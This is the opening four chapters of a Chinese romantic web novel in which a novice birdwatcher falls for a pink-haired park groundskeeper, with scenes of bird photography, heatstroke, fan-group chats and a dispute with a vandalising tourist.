《关于观鸟观到心上人这件事》
1. 第 1 章
八月,葡萄成熟时。
下过大雨,干涸的泥土地变得湿润,露珠挂在深绿的叶上,青草的清新弥漫在空气。
葱白带着薄茧的手拉开窗帘,明媚的光线照耀青年粉色的发丝,更加透明。
“阳光真好,就是有点刺眼。”游临归眯了眯眼睛。
“叽叽叽叽——”
一团蓝白色的虎皮鹦鹉扑棱着翅膀,宽大的鸟笼在悬在高处摇摇晃晃。
“见到阳光你也很兴奋是吗?”
游临归弯起好看的眉眼,拿起放在一旁的长杆,轻而易举地勾开笼门。
虎皮鹦鹉兴高采烈地又扑棱下蓝白渐变的翅膀,羽毛快活地炸开,从高处一跃而下,鸟爪精准地勾在青年的肩头,白色的小脑袋亲昵蹭他的脖颈。
游临归哆嗦了下,喉咙震动时带着笑意,“小羽毛,蹭得那么用力是怕我感受不到你的喜欢吗?”他的指节轻轻擦过它背部的蓝色绒毛:“好了,别撒娇,今天带你出去玩。”
“叽叽——”
小羽毛兴奋叽哇乱叫,飞在空中兴高采烈地转圈圈。
“不过,可别高兴的太早,”游临归话锋一转,透过窗户玻璃视线对准不远处五颜六色的葡萄盆栽,“看见了吗?再陪我处理完这些盆栽,奖励你最甜的葡萄吃。”
……
“哥们儿哟,你这鸟图怎么主体如奶油般化开,背景如刀锋般锐利啊,”带着草帽操着一口儿化音的大叔瞧了眼那相机里的照片,无情地嘲笑,“你这新手观鸟吧?还穿个浅裤头儿,刚下过雨这地全是土嘞,看看你的裤脚,脏得哟。”
魏丰羽烦闷地摸了摸右耳上的黑色耳钉,甩了甩沾了泥点子的裤腿:“大哥,你懂什么是观鸟吗?这是摄影新时尚,叫动态模糊!”
真是倒霉完了,穿个短裤都比现在好!
大叔哈哈大笑,拍拍魏丰羽的肩膀:“我只懂鸟,摄影那种东西我们小家庭哪玩的来哦,”大叔抬了下草帽,又瞧了眼他手上的相机:“看这银色的标志,大牌子嘞。”
“您懂鸟?”魏丰羽敏锐捕捉到关键词,指了指相机屏幕里模糊成一团的暗蓝色,堪堪只能看到个大概的轮廓,“那您知道这鸟什么品种吗?”
大叔抬了抬眼睛:“你看这圆不溜秋的像蓝莓似的团子,尾巴还橙红橙红的,准是红尾水鸲。”
“红尾水鸲?”魏丰羽连忙把相机放在一旁小板凳边,从口袋里掏出手机,点开电子版的《鸟类鉴赏大全》,“叔,是这只小肥鸟不?”
大叔眯了眯眼睛:“啊,对,对!就是这鸟,红尾水鸲,咱们这公园很多这种可爱的小鸟的。不过啊我虽然懂鸟,但不如我一朋友家的小孩懂,人家那可是高材生毕业的,都不用像你这样查资料,看个影子就知道是啥鸟,而且啊还是个特温柔的小孩,长得可俊了,那鸟呀蝴蝶呀都稀罕他,不开玩笑,有回啊我···”
“打住,打住,叔,这些琐事啊就别跟我讲了,我急着拍鸟!”魏丰羽抬手阻止,装模作样地把相机按在三脚架上,生怕他一个不注意就说个三天三夜。
“哟,你瞧我这德性,又收不住嘴了!”大叔恍然大悟似的重重拍了下自己的大腿,拿着草帽匆匆打了声招呼就离开了。
魏丰羽余光瞄了眼,确认那叔走远了才放松下来,舒了口气。
这大叔挺热情,就是和他爹那群朋友一样,说个正事突然一个急转弯开始下个话题,没完没了的。
他抬手遮在眼眶上方,这一带的鸟都飞的差不多了,还是往里再走走,看看能不能再拍点。
魏丰羽又叹了口气,手机打开打鸟论坛,他上次在论坛问的“新手第一次观鸟,需要注意点什么?”的帖子还高高悬挂,评论一大堆瞅见他IP看热闹不嫌事大的网友讲乐子话。
说是什么,“兄弟你这IP有个特别大的湿地公园,鸟种类特别多,个个顶棒。”
“听说这个公园有个绿化管理员长得特别好看,贴主帮我们去瞅一眼呗,求求了。”
“我之前环城拍鸟的时候就遇见过,真的好看。”
“小鸟嘿嘿…,不对×,美人嘿嘿…,不对×,小鸟嘿嘿…”
他那会儿看到一堆无用的评论,气得半死,愤怒地按着手机键盘。
【丰羽:你们究竟让我拍鸟还是拍人啊?这不是观鸟论坛吗!都拖出去斩了!/怒火】
魏丰羽收回手机,一手扛着三脚架,一手拿着相机包,背上还背了一个便携式板凳,踩着枯黄的秸秆往里大步流星。
枯黄的秸秆被捡起堆到一边,游临归用手扇了扇风,搭在脖子上的毛巾擦了擦脸上的汗水,顺势抬手轻抓起在草帽上蹦来蹦去的红胁蓝尾鸲。
“小肥啾,几天不见怎么那么圆了?我们公园伙食也太好了,”游临归将它瘫在手心,用指腹挠它橄榄褐色的背羽,“平时不锻炼,看到我来了,就往我头上蹦来蹦去,调皮。”
他话是那么说,可嘴角都要弯到太阳穴上,声音也乐呵呵的。
“不陪你闹了,我工作还没做完,”游临归又碰碰他小巧的喙,捧着它一挥手,红胁蓝尾鸲便扑扇着翅膀亲吻天空。
他抬了抬草帽,没发现小羽毛的踪迹,无奈一笑。
估计又飞到哪个草垛上跳舞去了,连下了三天雨,肯定憋坏了。
游临归举起扔在一旁的园艺剪刀,利落地剪断多出的小树枝,全身心投入园艺工作。
但小鸟可不会放过他。
一只小鸟走了,还会有成群小鸟来,在青年的周身叽叽喳喳的叫着。
似乎知道他是个温温柔的主,胆子大点的直接啄他的草帽、裤腿以及袖口,闹得游临归一点脾气也没有。
他顺手从一根青草上抓了一只小昆虫,喂给立在他肩上的小鸟:“吃吧吃吧,吃了就别打扰我工作咯。”
小鸟也毫不客气,直接一口叼住小虫欢快地扑棱着翅膀飞走了。
游临归笑着摇摇头,加紧修剪完这片区域,阳光透过叶片间的间隙,不规则地洒在他粉色的发丝。
“啾啾——啾啾——”
“玩累了舍得回来了?”游临归接住迫降的小羽毛,把他放在矮树树干上,“等下,我这还有一点点收尾工作。”
他弯腰拾起剪下的枝干堆在一旁,左右环视,确认无误后对着鹦鹉抬起手,手腕微弯。
小羽毛见状,立马从树的虎口处落到青年的手上,鸟爪轻轻勾着他的手指。
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“咔嚓——”
游临归偏过头望向声音的来源——只见一个穿着潮流的年轻人正手忙脚乱地摆弄着相机,三脚架歪歪斜斜地插进泥土地里。
那人面红耳赤,裤脚上还沾上了大大小小的泥点,黑色的耳钉在阳光的反射下更加刺眼。
嗯?他是不是观鸟在阳光底下站太久有点中暑,游临归若有所思地皱眉。
他抬了抬手指,示意小羽毛到自己肩上去,放下右手的剪刀,径直走向那年轻人。
不成想,那年轻人更加手足无措。
“需要帮忙吗?”游临归拍掉身上的小草,轻声询问。
魏丰羽感觉自己的心脏快要跳出胸腔。
“我,我我很好!不太需要!”他手忙脚乱地扶住摇摇欲坠的三脚架,却不小心把一旁的相机包碰翻,里面的配件哗啦啦的散落在地上。
靠北,我的脸面!
魏丰羽欲哭无泪,此时很想遁地逃跑。
他蹲下身去捡镜头盖,差点撞上游临归的膝盖。
粉发青年身上散发着淡淡的橙花香,让他本就不清醒的脑子更加头晕目眩。
游临归也蹲下身帮他收拾散落的物品,修长的手指捡起一个增距镜:“70-200mm的镜头拍林鸟的话,确实需要这个。”
他的声音温吞,右眼尾的泪痣在阳光下若隐若现。
魏丰羽的视线不自主由下往上,落到那被汗水浸染、白皙的脖颈,喉结处的那颗小痣随着他说话的动作微微起伏。
他咽了咽口水。
原来论坛里那些‘跑火车’的评论,他们说的“长得特别好看的绿化管理员”是真实存在的。
“你是在拍…小羽毛吗?”游临归指了指肩上的虎皮鹦鹉,小东西正歪着脑袋打量面前这个陌生人。
“啊?不,我,啊,我是…”魏丰羽突然卡壳,慌乱地把相机屏熄掉。
他确实在拍鹦鹉,也是第一次见真实的虎皮鹦鹉。
但是相机里拍下的粉发青年也是真实存在的。
他总不能说自己是偷拍吧?
不对,他没有偷拍!这是意外啊!
魏丰羽只是想知道这只虎皮鹦鹉是被遗弃的还是主人在附近。
就在此时,小羽毛从游临归肩上飞起,稳稳地落在魏丰羽的相机上。更令人惊讶的是,这个怕生的小家伙竟亲昵地蹭了蹭魏丰羽的手指。
“它很少对陌生人这么友好,”游临归惊讶,嘴角微微上扬,“看来,它很喜欢你。”
魏丰羽更加兴奋,这对他而言可是莫大的荣幸。
他一个新晋观鸟人,在校园里拍鸟的时候,哪怕离得已经有十万八千米远,只要相机一对准……,那群小玩意就飞来飞去。
等他收起相机,又稳稳地站在枝干上任人观赏。
原先还以为这群鸟学姐学长怕人,结果只是怕自己!
魏丰羽小心翼翼地轻抚虎皮鹦鹉的羽毛,毛茸茸的触感让人爱不释手。
但他的余光却总是神鬼使差地瞄到身旁的粉发青年,他挂着笑靥,眼眸熠熠生辉。
“砰砰——砰砰——”
魏丰羽心跳如鼓,分不清究竟是激动还是心动。
2. 第 2 章
游临归感受到魏丰羽的视线,微微偏头冲他笑了笑,指了指小羽毛说:“你好像摸得有点久了,小羽毛有点烦了。”
“啊,啊是,是吗?”魏丰羽低头看了看自己的手里的尖嘴萌兽。
它不耐烦地抖了抖翅膀,显然对魏丰羽失去了兴趣,扑棱两下翅膀又落回游临归的肩头,歪着脑袋啄了啄他的耳垂。
魏丰羽有些失落望着自己的手,握了握拳,毛茸茸的触感还在流转。
下次,还能摸到吗...
游临归以为他是没拍到小鸟才流露出失落的神情,侧过头轻声询问他:“要不...再试试?”
“啊?”
游临归笑了笑,伸手轻轻点了点相机,“这个型号我熟,可以帮你调参数。正好不远处就有成堆的小鸟。”
魏丰羽喉结滚动了一下,鬼使神差地递了过去。
然后他就后悔了。
游临归接过相机,指尖在机身上一滑,屏幕瞬间亮起——映入眼帘的不是湿地风景,也不是小鸟,而是一张清晰的特写:游临归站在树荫下,阳光穿过叶隙,在他脸上投下细碎的光斑,他右眼尾的泪痣更加惹眼。
空气凝固了一秒。
“啊...?”游临归疑惑地皱了皱眉毛。
魏丰羽脑子轰的一下炸了,手忙脚乱地伸手去抢:“不是!这是试拍!试拍!我刚刚在调焦,不小心拍到了!”
啊啊啊啊啊啊啊啊啊啊,我的脸面!!
游临归却忽然笑了,点了点屏幕:“拍得很好啊。”
他抬眼,深褐色的瞳孔里倒映这魏丰羽慌乱的脸,“我从来没觉得自己在镜头里那么帅气。”
魏丰羽耳尖瞬间烧了起来,不自在地抹了抹脖颈。
美人夸我拍得好看,我果然在摄影上有天赋。
游临归见他泛红的耳朵,没再逗他,低头熟练地调整参数,轻巧地拨动转盘,微微倾身,将刚刚捡起的增距镜装上,贴在魏丰羽身侧,示意他看取景框里的数值。
“这个参数很适合拍动态的鸟,快门速度再快一点的话...”
他的声音很轻,带着温润的笑意,呼吸间有淡淡的橙花香气。
魏丰羽僵着脖子点头,他比美人要高一点,微微下撇视线变能看到他蓬松的发顶,高挺的鼻子,以及...白T下若隐若现的肉/体。
那好闻的香气铺天盖地涌过来,熏得他头晕目眩,耳尖的热度一路烧到脸颊,乃至整个脖颈。
游临归忽然停下讲解,偏头看他,担忧地伸出手贴在他的额头:“你脸好红,温度也好高。”
魏丰羽张了张嘴,刚想说没事,眼前却猛地一黑——
倒地晕过去前,他听到美人担忧地呼喊。
“王叔,王叔!这里有个人中暑昏过去了!!”
魏丰羽再醒来时,天已经完全黑了下来。
他茫然地眨了眨眼,身下是宽大柔软的床铺,身上十分干爽,还换了一套陌生的棉质睡衣,就是下半身有点凉飕飕。
魏丰羽猛地坐起身,掀开被子看了看,看到裤子完好无损地穿在身,轻舒了口气。
还好还好,裤子还在,虽然不是他穿的那条裤子。
房间内空调温度开得有点低,被子没有完全覆盖整个身体,凉风从脚旁窜了进来而已。
他拉开窗帘,窗外夜色沉沉,低头一看,几盆光秃秃的葡萄藤正摆在一旁,在风里轻轻摇晃。
这是哪啊?
魏丰羽正发愣,房门被轻轻推开。
“醒了?”游临归端着一杯水和小碗进来,见他站在窗边,眉眼弯了弯,“感觉好点了吗?”
魏丰羽张了张嘴,还没说话,肚子先咕噜一声响。
游临归莞尔一笑:“饿了吧?我去盛饭,你先吃点葡萄垫垫。”
他放下水杯,将小碗推了过去,里边装着紫水晶一样盈盈的葡萄,个个饱满挺括。
魏丰羽僵硬地点点头,游临归便转身出去了,房门被轻轻带上。
他瞧了瞧房门口,见动静消失,立刻扑到床边,从外套口袋摸出手机,手指飞快地点开D站账号。
一个仅有两万粉的观鸟区UP主,粉丝群六百人高高置顶,平日里他闲的没事做就喜欢发点鸟类科普和炒股玄学,可惜他的粉丝多数是‘乐子人’,评论区常年充斥着‘UP主今天被鸟嫌弃了吗’‘UP主今天亏了多少’等等缺德留言。
魏丰羽噼里啪啦地按着二十六键,在粉丝群飞速打字:
【@全体成员见到一个好看的男人,靠近会心跳不止,忍不住关注他,这是什么征兆??】
消息刚发出去,往日除了‘冒泡’消息之外冷得跟冬天一样的群,瞬间开始过春节。
【???】
【你被盗号了?】
【观鸟区UP主终于对鸟失去兴趣开始观察人类了吗】
【哇塞,好看的男人,让我也看看/邪笑】
【有这等福利主播不分享给我们?是不是看不起粉丝!】
【笑死,这种症状,建议直接结婚。】
魏丰羽盯着屏幕,看那些不着调的回复缓缓捂住脸。
....他的粉丝怎么和他一样不靠谱。
他又切到搜索引擎,犹豫了下,输入:【靠近一个人会心跳加速,他身上有好闻的味道,是不是对我做了什么?】
包豆AI立马弹出一条回答:【从心理学和生理学的角度来看,靠近一个人时心跳加速、觉得对方身上有好闻的味道,通常是自身情感和生理反应的自然体现,而非对方 “做了什么”。这种反应更可能是你自身情感和心理作用的结果,而非对方的 “刻意行为”。如果想进一步了解彼此的感受,不妨以开放的心态相处 —— 情感的产生本就是双向吸引的自然过程,不必过度归因于外部因素。】
魏丰羽:“.....”
他又去小蓝鲸鱼那问了同样的问题:【已深度思考,用时15秒:当你靠近某人时感到心跳加速并觉得对方有好闻的味道,这通常与自然的情感或生理反应有关,而非对方对你“做了什么”。总结:大概率是你在面对心动对象时的自然反应,不必过度紧张。享受这份微妙的情愫,同时保持理性观察。真正的喜欢会伴随尊重与坦诚,如果对方的态度让你感到不安,及时设定界限。】
魏丰羽:“.....”
这些AI是智/障吗,回答的一点用都没有!
他啪地锁上屏幕,把脸埋进掌心。
房门再次被推开,游临归端着托盘走进来,身后跟着扑棱翅膀的小羽毛。
托盘里摆着一小碗小葱拌豆腐,一碗米饭上盖着干煸豆角,还有一盅清透的蛋花汤。
“中暑后肠胃弱,所以准备的都是比较清淡的。”他把托盘放在床头,顺手就抚了抚魏丰羽睡得翘起来的头发,意识到自己做了什么后又不好意思地挠挠太阳穴,“抱歉啊,我看你的头发有点乱,我有强迫症,下意识就上手了。这个饭你趁热吃。”
魏丰羽只感觉头发像是被风轻柔的摸了一把,听到游临归的话才抬起头来,正对上他含笑的眼睛。
....靠北,怎么笑得那么好看。
完了,完了,完了,完了,完了!
“没,没事,”魏丰羽端过饭碗,扒拉了一下搭在上面的豆角。
翠绿的豆角糊了
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一层油衣,看起来确实挺有食欲的。
但他没怎么吃过,只在学校饭堂尝过一回香蕉炒豆角,处于猎奇心理打了一份,逼着自己咬了一小口。
结果吐了一晚上。
“怎么了?你不能吃豆角吗?厨房还有别的菜...”游临归看他迟迟不动筷,疑惑问道。
“没有没有,”魏丰羽急忙打断,狠了心地将豆角塞进嘴里,瞪大了双眼,“好吃!”
咸香微辣中带着独特的焦香与爽脆,完全不是学校饭堂的黑暗料理。
他又猛地塞了两大口。
游临归心满意足笑了笑:“喜欢就好,很多来我这休息的游客都夸我手艺好。”
“游客?”魏丰羽嘟嘟囔囔咽下口中食物,“对了,这是哪啊?辛苦你把我拖到这来了。”
游临归说:“不辛苦,这是公园附近的万林别墅,我家,也就十分钟左右,我和附近的住户一起把你拉回来的。”
“原来这别墅是你的啊。”魏丰羽恍然大悟。
他几个月前第一次来这湿地公园踩点,也见了这别墅的轮廓,但他毕业论文还有答辩还没搞好,时间比较紧凑,没来得及往这再探探。
后来在网上搜到这个别墅,问了附近的房地产商,都说这别墅不卖,才打消他的念想。
“也不能说是我的,是我父亲的。”游临归说,心里却叹了口气。
三年前,他还是刚毕业的年纪就被父亲和小爸无情抛弃,双宿双飞旅游去了。
可他呢?继承万林别墅的同时还继承了小爸的园林管理员的身份。
与前公司对接工作的时候,他都不敢相信。
幸好生活还算清净,工作也很快乐,时不时还能开农家乐赚点小钱,倒是乐得自在。
“哦,继承家产嘛,我懂。”魏丰羽把汤一饮而尽。
这顿晚饭清淡的很,就和他面前这位粉发美人一样清清淡淡,却令人回味无比。
游临归没有反驳,收拾了下,端起托盘:“现在挺晚了,你就在这住一晚,明天早上再走吧。当然如果你急着回家我也不会过问太多。你身上的衣服等下我让阿姨给你拿过来。”
魏丰羽红着脸点点头,看着游临归出门。
靠北,美人留我住下来,他是不是也喜欢我?!
他激动得又摸出手机,粉丝群里的艾特消息一个接一个的,看得他目不暇接。
【@观鸟人间体羽哥,人呢?不会被好看的男人勾走了吧?!】
【到底能有多好看啊啊啊,我也要看!!】
【就我一个新粉才知道UP原来喜欢男人嘛/天啊】
【他纯颜控,长得好看的,别说人了,鸟也喜欢/狗头】
魏丰羽无语地长按那人的头像。
【观鸟人间体:你有事吗,没事就睡觉,别嘟嘟嘟。】
【哟羽哥冒泡了。】
【现在情况如何啊?】
【这不是观鸟区UP的粉丝群吗,怎么那么关心人家UP的恋情啊/奸笑】
【八卦之心人皆有之嘛/让我看看】
魏丰羽噼里啪啦打字,嘴角都要勾到天花板上。
【观鸟人间体:他留我住宿还关心我,他是不是喜欢我?/可怜】
群里又弹出一大堆消息。
【神经。/无语】
【神如经。/汗】
【普信男啊,姐妹们快跑/吐】
【大家别打击羽哥了,他只是一个处/男,没有经历过爱情的摧折/笑脸】
【美人喜欢你我吃好吧/汗】
魏丰羽:“.....”
他要解散粉丝群!!!
3. 第 3 章
第二天一早,游临归准时起床敲了敲房门,那门从里开,就见魏丰羽面红耳赤,换上了那件潮到风湿的黑T,裤子倒还是穿着睡裤。
“早,王叔送来了早餐,鲜肉包和豆浆,你要吃点吗?”
魏丰羽挠挠脖颈,半天没嘟囔出半句话,只是扭扭捏捏地盯着乱七八糟躺在床上的卡其色长裤。
游临归:“.....?”
这是怎么了,他疑惑又有些尴尬地笑了笑,顺着他的目光也看到了那条长裤。
嗯...?
“昨天你的衣服是我帮你换的,”游临归试探性开口,“没有别人看,就只有我看了。本来想着只给你换个上衣,但是你的裤子沾了好多泥点,而且穿着那种面料的裤子会不透气。”
其实是怕泥点子搞脏了他的床,虽然是客卧,但是也不行。
没成想,面前的青年脸更红了,结结巴巴:“噢,哦,我只是刚起来还没来得及换上。”
“没事,那你先换,”游临归说着就要转身离开。
“等下!”魏丰羽叫住他。
游临归侧头:“嗯,怎么了?”
“呃...给我留个包子。”
“没问题。”
房门被合上,魏丰羽抓狂地蹂/躏自己的头发。
靠北啊,被美人看光了!
他摸了摸自己的腹肌和胸肌,前些日子忙着搞答辩没有时间锻炼,他的肌肉应该还没退化吧?!
魏丰羽对着摆在台上的梳妆镜,拉起衣摆眯着眼仔细观摩了一番。
不错不错,拉到宰杀场也是上好的5A品质。
游临归坐在餐桌上等了一会儿,工作群里发布了最新的任务。
【花开富贵:@归临游小游,今天到你负责北区域的除虫,那边景观多,好多游客在石头上写字,记得也给它擦咯。】
【归临游:/OK】
他放下手机,听到下楼的声音,望向魏丰羽,见他整个人容光焕发,毫不吝啬地夸赞:“收拾得挺帅。”
仔细看不仅抓了头发,还化了妆。很薄,用粉底扑得肤色更加均匀。
只是游临归不太明白,为什么耳朵上挂一大堆饰品,看起来还是金属的,耳朵不累吗。
这可能就是潮男吧。
他喝了一口豆浆。
魏丰羽得到夸赞兴高采烈地晃着脑袋,接过肉包一口一个,掀开豆浆盖咕噜咕噜干完。
整个早餐用时三分钟。
游临归:“.....”
饿死鬼投胎了说是。
“包子很好吃,”魏丰羽说,虽然比不上他家请的厨师做的,但比起学校的冷肉包子倒是高了不知几个档次。
“好吃就行,这是王叔自己做的,肉都是用的肥瘦相间的猪肉。”游临归解释。
“我一直想问,那王叔是谁?”魏丰羽脸又红了点,扭扭捏捏问,“你又叫什么,可以告诉我你的名字吗?”
“当然可以,我一直以为你知道。”游临归笑着说,他昨天身上一直挂着工牌,“我叫游临归,来临的临,归去的归。我一直说的王叔就是皮肤有点黑,天天游逛,你能经常见到的大叔。”
游临归...
好美的名字,果然美人就该配美名。
魏丰羽心里默默念叨,嘴里也不自觉地念着。
游临归望着他,眨了眨眼:“你呢?”
“魏丰羽。”他言简意赅,故作冷淡。
实际上只是又被游临归的笑容闪到不知如何是好。
“丰羽?”
游临归惊了一下,魏丰羽,这个组词...
不会他还有个哥哥吧。
“是!”魏丰羽脸又红了一层。
游临归禁不住噗嗤笑出声,这面前的青年看着凶神恶煞的,穿搭潮得没边,绝对是自己平日里绕道走不会想碰见的一类人。
怎么聊起天来动不动就红成太阳一样的,还时不时亢奋一下。
像个初来乍到的毛头小子。
游临归:“需要我带你出园吗?”
现在时间还早,去北区域除虫顺手把魏丰羽带出去,两全其美。
魏丰羽摇摇头:“我还没拍鸟,昨天你给我调的参数还没用上。”
游临归露出一个笑容,这是他不知道如何回应时的伪装。
这就是观鸟人吗,昨天都晒到中暑了今天还不好好休息还想着观鸟。
哎,一生倔强的观鸟人啊。
“你能不能带着我去那个北区域,那边有鸟吗?”魏丰羽突然又继续说道。
有倒是有...
但是游临归更希望魏丰羽赶紧回家休息几天,不想他再晕一回又给他带回来,好重的。
“你确定还要去拍吗?你昨天才中暑,不如先回家...”
“不,”魏丰羽坚决地说,突然拉上游临归的手,“我的粉丝还等着我的观鸟图,事关重大,你我义不容辞!”
游临归:啊?还有我的事情啊。
“嗯...”游临归强颜欢笑,想到什么,眼睛突然亮起来,“那你等我一下,我拿个东西。”
魏丰羽一直保持刚刚的动作,鼻尖还萦绕着那股橙花香,手心还残留那软软的触感。
嘿嘿...
又可以和美人待在一块了,爽。
没过多久,游临归手里抱着两个草帽,身上背了一个黑色的大挎包,拉链没有完全拉全,露出瓶瓶罐罐,还有一些不同大小的剪刀。
“拿着。”游临归将草帽递给魏丰羽。
“我?”魏丰羽指了指草帽,不太想接过。
他精心抓了发型,帽子一带不是全压塌了!
而且这草帽,和他的外表完全不搭。
游临归点点头:“八月份太阳很毒的,而且还是下雨天后,你不戴帽子又会中暑的。”
魏丰羽听完,立马接过了草帽,毫不犹豫往头上一带,勾起一抹‘邪魅’的笑容。
美人关心我,必须带!
游临归:“.....”
我时常觉得自己身居田园与城市人格格不入...
魏丰羽清点了下自己身上的东西,就跟着早已准备好的游临归一同出发。
接近九、十点钟,昨日经过暴晒的泥土地不再软塌塌,空气是清新的晨露与草味,绿葱葱的。
二人还路过一个小池塘,里边的荷花哗啦哗啦地响,原来是几只绿头鸭,魏丰羽稍微停了下拍了张照片。
虽然拍的一般。
“你就在这停下来吧,”游临归停下脚步,帮他架好三脚架,往远处指了指,“北区域水地很多,除了你刚刚拍的绿头鸭,还有白鹡鸰。”
“白鹡鸰?!”魏丰羽兴奋得下意识想跳起来,幸好把这股欲望压下去了。
“是啊,就是长得和雪糕一样的,头到背都是黑色的羽毛,”游临归余光瞥到一个小团子,轻轻拍了拍他的肩膀,“看那,看那,就是白鹡鸰,它还在摇尾巴!”
魏丰羽顺着游临归指的方向望去,果然看见一只黑白相间的小鸟,尾巴一翘一翘的,还带着一个黑色的口水巾在浅水坑里一蹦一蹦。
这么有这么萌的鸟!!萌到吐血!!!
太色禽了,翘个尾巴勾引我!
魏丰羽咽了咽口水,压抑住激动,赶紧调整相机,手忙脚乱地按下快门,结果拍出来的全是虚影。
“又没对上焦...”魏丰羽懊恼地抓了抓头发,却忘了还带着草帽,差点被他掀翻。
游临归轻笑:“没事的,一回生二回熟,有时候相机的对焦就是很搞人心态,这不是你的问题。”
他正要上手帮魏丰羽再看看相机参数,忽然神色一沉。
“喂!谁让你在这乱涂乱画的?!”游临归大声呵斥,快步走向那名游客。
魏丰羽身子抖了一下,拿稳相机,顺着声音望去。
那人正拿着马克笔,在一块景观石上写着什么,还画了几个涂鸦,旁边还有几个举手机拍摄的同伴。
“关你屁事?”游客不耐烦地回收,“一块破石头而已,写个字怎么了?”
破石头?!
游临归勾起危险的笑容,举起挂在胸前的工牌:“我是万林湿地公园的园林管理员,根据园区规定,禁止在公共设施上涂鸦,请您配合清理。”
“你以为你挂个牌就能吓唬人啊?不知
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道的还以为警官证呢,”游客嗤笑一声,上下打量他,“跟小白脸似的装什么逼。”
游临归依然维持良好的笑容,但眉头紧紧拧着,从挎包小隔层掏出湿巾准备自己上手擦掉。
“我提醒您,这是规章条例,严重的话会上升到违法行为。”
“规章?违法,笑死,你当我不懂法啊,那么多人都写个‘到此一游’还不允许我留啊?”游客一把拍开他的手,阻止游临归的动作,“装模作样,信不信我发到网上曝光你们园区服务态度差?!”
魏丰羽看到游临归被推得踉跄一下,湿巾掉在地上,赶紧把相机往凳上一放,直接冲了过去,草帽被突如其来的风吹翻到在石头板上。
“你想做什么?!”魏丰羽一把拽住那游客的手腕,力道大得对方‘嘶’了一声。
他比对方高了半个头,加上那张冷脸和满耳朵的金属耳钉,整个人戾气十足,跟混的没什么区别。
游客被唬住,想要挣脱,没想到桎梏越来越紧,结结巴巴说:“你,你特么谁啊?!”
“你管我谁,问就是你爹。”魏丰羽冷笑,“你再动他试试?破坏公物你还有理了是吧?!”
游临归愣了一下,看到群聚过来的游客越来越多,还有人正录着像,赶紧拉住他:“魏丰羽,别...”
那游客恼羞成怒掏出手机:“我爹,我爹还死了!就你还我爹?你和这小白脸一伙的吧?暴力威胁游客是吧?我这就发到网上,看你们怎么收场!”
“发啊,不发你是孙子。”魏丰羽嗤笑,“正好让全网民看看没素质的人长什么样!”
“魏丰羽!”游临归扶额,拽了他一把,压低声音,“别闹大,园区有规定...”
魏丰羽被他拉着后退两步,胸口仍因怒气起伏。
他盯着游临归紧蹙的眉头,那股火气突然就泄了一半,取而代之的是一半委屈。
美人怎么还护着那煞/逼?
游临归转向那游客,语气平静:“如果您坚持要发,随便你。但根据《旅游文明行为公约》,您的行为已经构成违规,我们万林湿地公园有权保留追责权利。”
周围聚集了一堆人窃窃私语,都在谈论这游客的种种行为的不对,时不时有几个阿姨交头接耳咒骂着,搞得那游客噎住,脸色青一阵白一阵,带着跟随的伙伴骂骂咧咧地走了。
游临归叹了一口气,工作三年,这种事情屡见不鲜。
“好了各位姐姐妹妹哥哥弟弟阿姨叔叔,别聚在一块了,当心中暑,小心脚下水坑,文明观景,从你我做起。”
四周恢复安静,只有鸟鸣树沙。
魏丰羽仍然绷着脸,游临归看了他一眼,没好意思地笑出声。
怎么像个闷闷不乐的小狗。
游临归莫名想起他父亲在德国养的哈士奇。
“刚刚情况紧急,这种事情我经历很多次了,谢谢你替我出头,但是可以用更加温和的方式处理,没必要这样的。”
魏丰羽干巴巴地瞧了他一眼,硬邦邦地说:“可是他推你。”
“我能自己解决的,再不济可以摇人。”游临归晃了晃手机,拉着他又回到刚刚架着相机的地方,“要是一时冲动,把你拍下来放到网上,对你的影响可就大了。”
他还记着魏丰羽应该是搞自媒体的,说是什么粉丝。
要是被粉丝知道他这副性子,估计得跑不少粉。
魏丰羽一愣,游临归这是在担心他?
那股闷气突然间一下子全散了,他别扭地别过脸:“...反正不能让他欺负你。”
游临归眨了眨眼,忽然又笑了:“谢谢啊,我感觉你挺适合做朋友的。”
魏丰羽耳根一热,正想说什么,听见‘扑棱’一声,那白鹡鸰不知什么时候飞到附近的树枝上,歪着小脑袋看着他们。
游临归心底一软,轻碰了碰魏丰羽的手臂:“快拍快拍,你看它的口水兜,还是爱心型的,好可爱。”
魏丰羽手忙脚乱举起相机。
这次镜头对焦稳稳照进了那只萌得没边的白鹡鸰,魏丰羽的视线里也框进了游临归的美好的笑脸。
他又听见自己鼓动的心跳声。
4. 第 4 章
二人黏着鸟又拍了好几张,游临归点了点相机屏幕,满意地点点头:“拍得很好啊,这几张发给你粉丝,绝对大受好评。”
魏丰羽故作镇定地‘嗯’了一声,商业互吹:“那还是你的参数帮了大忙。”
这么客气?
游临归抬头看了魏丰羽一眼,草帽遮住他半个脸庞,看不出情绪。
“好吧,”游临归抬手看了看表,差不多到点,把相机递了回去,“你在这拍吧,我要去工作了。”
“等,等下!”魏丰羽喊住他。
游临归从挎包里拿出生物制剂,摇晃了两下:“怎么了?”
魏丰羽咕哝着嘴唇,始终说不出那句‘能不能加个联系方式’,最终还是泄了气。
“没事,工作辛苦了。”
“好,你也不要待太久,差不多到中午就能走了。”游临归说,“还记得我刚刚和你说的路线吗?”
魏丰羽点点头。
“行,拜拜。”游临归转身往北区域走,不带一丝犹豫。
魏丰羽就一直望着他离开,直到消失在视线里,欲哭无泪地摸出手机。
【观鸟人间体:兄弟们,没要到美人联系方式/大哭】
【六。】
【羽哥,你连人家性取向都没搞明白就联系方式。】
【有缘无分,惨惨惨。】
【小鸟小鸟小鸟小鸟小鸟,我要小鸟!】
【摸摸羽哥,还是观鸟吧,观人会伤心,鸟不会让你伤心!】
魏丰羽看着粉丝群没点卵用的安慰,垂头丧气地抱着相机,机械地按着快门。
镜头里的白鹡鸰蹦蹦跳跳,他却满脑子都是游临归转身离开时晃动的粉色卷毛。
“咔嚓”——
一张完美的虚焦照片诞生了。
“.....”
魏丰羽盯着屏幕上模糊的鸟屁股,悲从中来,又摸出手机。
【观鸟人间体:兄弟们/哭/哭】
【观鸟人间体:他走的时候头都不回】
【观鸟人间体:我连他喜欢男的女的都不知道,联系方式也没有/大哭/大哭】
粉丝群瞬间又炸锅:
【笑死,直男の烦恼】
【建议直接问:美人你喜欢男人还是女人?】
【你们gay都这么怂的吗.jpg】
——
游临归擦完最后一处石栏上的涂鸦,将湿纸巾对着扔进随处可见的垃圾箱里,对着石栏拍了几张照。
【归临游:@花开富贵 @璀璨人生 林姨,陈叔,除虫任务完成,附近景观的涂鸦能擦的都擦掉了,请过目。】
【归临游:图片】
【璀璨人生:好棒哟/大拇指/大拇指】
【花开富贵:棒得嘞,小年轻里就属你最省心,晚点来果园摘点水果回去!】
